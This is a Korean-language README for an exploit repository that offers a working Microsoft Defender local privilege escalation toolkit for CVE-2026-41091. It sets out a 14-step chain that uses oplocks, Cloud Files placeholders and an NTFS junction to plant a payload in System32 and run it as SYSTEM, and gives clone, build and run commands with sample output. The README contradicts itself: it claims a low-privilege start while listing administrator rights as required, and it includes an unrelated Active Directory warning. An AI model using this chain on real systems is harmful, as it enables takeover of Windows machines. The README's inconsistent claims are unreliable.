CVE-2026-41091 RedSun | Microsoft Defender LPE 익스플로잇. 낮은 권한의 사용자가 Cloud Files API + NTFS 정션 트릭을 통해 NT AUTHORITY\SYSTEM 권한을 획득합니다 🔥. Defender가 SYSTEM 권한으로 System32에 악성 페이로드를 쓰도록 강제합니다. ⚠️ 실제 환경에서 활발히 악용 중. CVSS 7.8. 패치: Defender Engine 1.1.26040.8. 🛡️ 교육용 PoC 전용입니다.
# CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE 익스플로잇 툴킷
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > 법적 고지 및 책임 있는 사용
**이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.**
저자와 기여자는 이 소프트웨어로 인해 발생하는 어떠한 오용이나 피해에도 책임지지 않습니다. 사용자는 테스트 전에 대상 소유자로부터 명시적인 서면 허가를 받았음을 보장할 전적인 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 관련 연방법, 주법 및 국제 사이버 범죄법에 따라 불법입니다.
이 소프트웨어를 사용함으로써 귀하는 다음에 동의하게 됩니다:
- 본인이 소유하거나 명시적인 테스트 허가를 받은 시스템에서만 사용합니다.
- 모든 관련 지방법, 주법 및 연방법을 준수합니다.
- 악의적, 파괴적 또는 불법적인 활동에 사용하지 않습니다.
> [!] **경고:** Active Directory 권한 상승 취약점은 엔터프라이즈 인프라에 높은 위험을 초래합니다. 무단 테스트는 엄격히 금지됩니다.
> **Microsoft Defender 링크 추적 취약점** - NT AUTHORITY\SYSTEM으로의 로컬 권한 상승
### 이 취약점은 "RedSun"으로 알려져 있으며, "SolarFlare"는 제가 제 익스플로잇에 붙인 이름입니다.
## [<] 개요
이 저장소에는 Microsoft Defender(Microsoft Malware Protection Engine)의 치명적인 로컬 권한 상승 취약점인 **CVE-2026-41091**에 대한 **완전히 동작하는 개념 증명(PoC)** 익스플로잇이 포함되어 있습니다. 부적절한 링크 해석(CWE-59)을 악용함으로써, 인증된 저권한 공격자는 **NT AUTHORITY\SYSTEM** 권한을 획득할 수 있습니다.
**"RedSun"** 또는 **"SolarFlare"** 로도 알려진 이 취약점은 공격자가 Cloud Files API(CfAPI)와 NTFS 정션 포인트를 사용하여 Microsoft Defender가 SYSTEM 권한으로 보호된 시스템 위치에 임의의 파일을 쓰도록 속일 수 있게 합니다.
> **참고:** 이 저장소에는 두 가지 버전이 포함되어 있습니다:
> - `basic_poc.cpp` - 단순화된 알고리즘 시연(교육용)
> - `full_poc.cpp` - 모든 기능을 갖춘 완전한 동작 익스플로잇
### [-<] 주요 기능
| 카테고리 | 기능 | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **익스플로잇** | SYSTEM으로의 로컬 권한 상승 | `[+]` | `[+]` |
| | Cloud Files API(CfAPI) 통합 | `[-]` | `[+]` |
| | 클라우드 자리 표시자 생성 | `[-]` | `[+]` |
| | NTFS 정션 리디렉션 | `[~]` | `[+]` |
| | COM 서비스 활성화 | `[-]` | `[+]` |
| **기법** | 배치 Oplock 악용 | `[+]` | `[+]` |
| | VSS 스냅샷 탐지 | `[+]` | `[+]` |
| | EICAR 트리거 | `[+]` | `[+]` |
| | NTFS 재분석 지점(마운트 지점) | `[+]` | `[+]` |
| | 파일 처리(NtSetInformationFile) | `[-]` | `[+]` |
| | 명명된 파이프 세션 ID 탐지 | `[-]` | `[+]` |
| | 콘솔 세션 실행(conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | SYSTEM 검증 | `[-]` | `[+]` |
| **대상** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | x64 전용 | `[+]` | `[+]` |
| **사용성** | 구조화된 로깅 | `[~]` | `[+]` |
| | 오류 처리 | `[~]` | `[+]` |
| | 무작위 디렉터리 이름 | `[+]` | `[+]` |
| | 자동 정리 | `[~]` | `[+]` |
| | 재시도 로직(NtCreateFile) | `[-]` | `[+]` |
## [i] 취약점 세부 정보
| 속성 | 값 |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **CVSS 점수** | 7.8 (높음) |
| **CVSS 벡터** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **공격 벡터** | 로컬 |
| **필요 권한** | 낮음 |
| **사용자 상호작용** | 없음 |
| **영향** | SYSTEM 수준 코드 실행 |
| **CISA KEV** | [+] 예 (실제 환경에서 활발히 악용됨) |
| **패치 제공 여부** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] 영향을 받는 제품
| 제품 | 영향을 받는 버전 | 수정된 버전 |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] 익스플로잇 체인
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] 설치
### 사전 요구 사항
- Windows 10/11 또는 Windows Server 2019/2022
- C++ 도구가 포함된 Visual Studio 2019/2022
- 관리자 권한 (실행용)
### 빌드
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] 사용법
### 전체 익스플로잇 (SYSTEM 권한 상승)
```bash
full_poc.exe
```
### 기본 알고리즘 시연
```bash
basic_poc.exe
```
## [i] 예시 출력
### 전체 익스플로잇 출력
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### 기본 PoC 출력
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] 빌드 지침
### Visual Studio 사용
1. VS 2022용 개발자 명령 프롬프트 열기
2. 익스플로잇 디렉터리로 이동
3. 실행:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### CMake 사용하기
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] 요구 사항 및 제한 사항
| 요구 사항 | 세부 정보 |
|-------------|---------|
| **OS** | Windows 10/11, Server 2019/2022 |
| **권한** | 관리자 권한 (실행용) |
| **Defender** | Microsoft Defender가 활성화되어 있어야 함 |
| **인터넷** | VSS 스냅샷 탐지에 필요 |
| **패치** | 패치되지 않은 시스템에서만 작동 |
| **아키텍처** | x64 전용 |
## 관련 익스플로잇
제가 만든 다른 익스플로잇 저장소도 확인해 보세요:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - GNU inetutils-telnetd 인증 우회
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - cPanel/WHM 인증 우회 익스플로잇
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Android ADB 무선 디버깅 인증 우회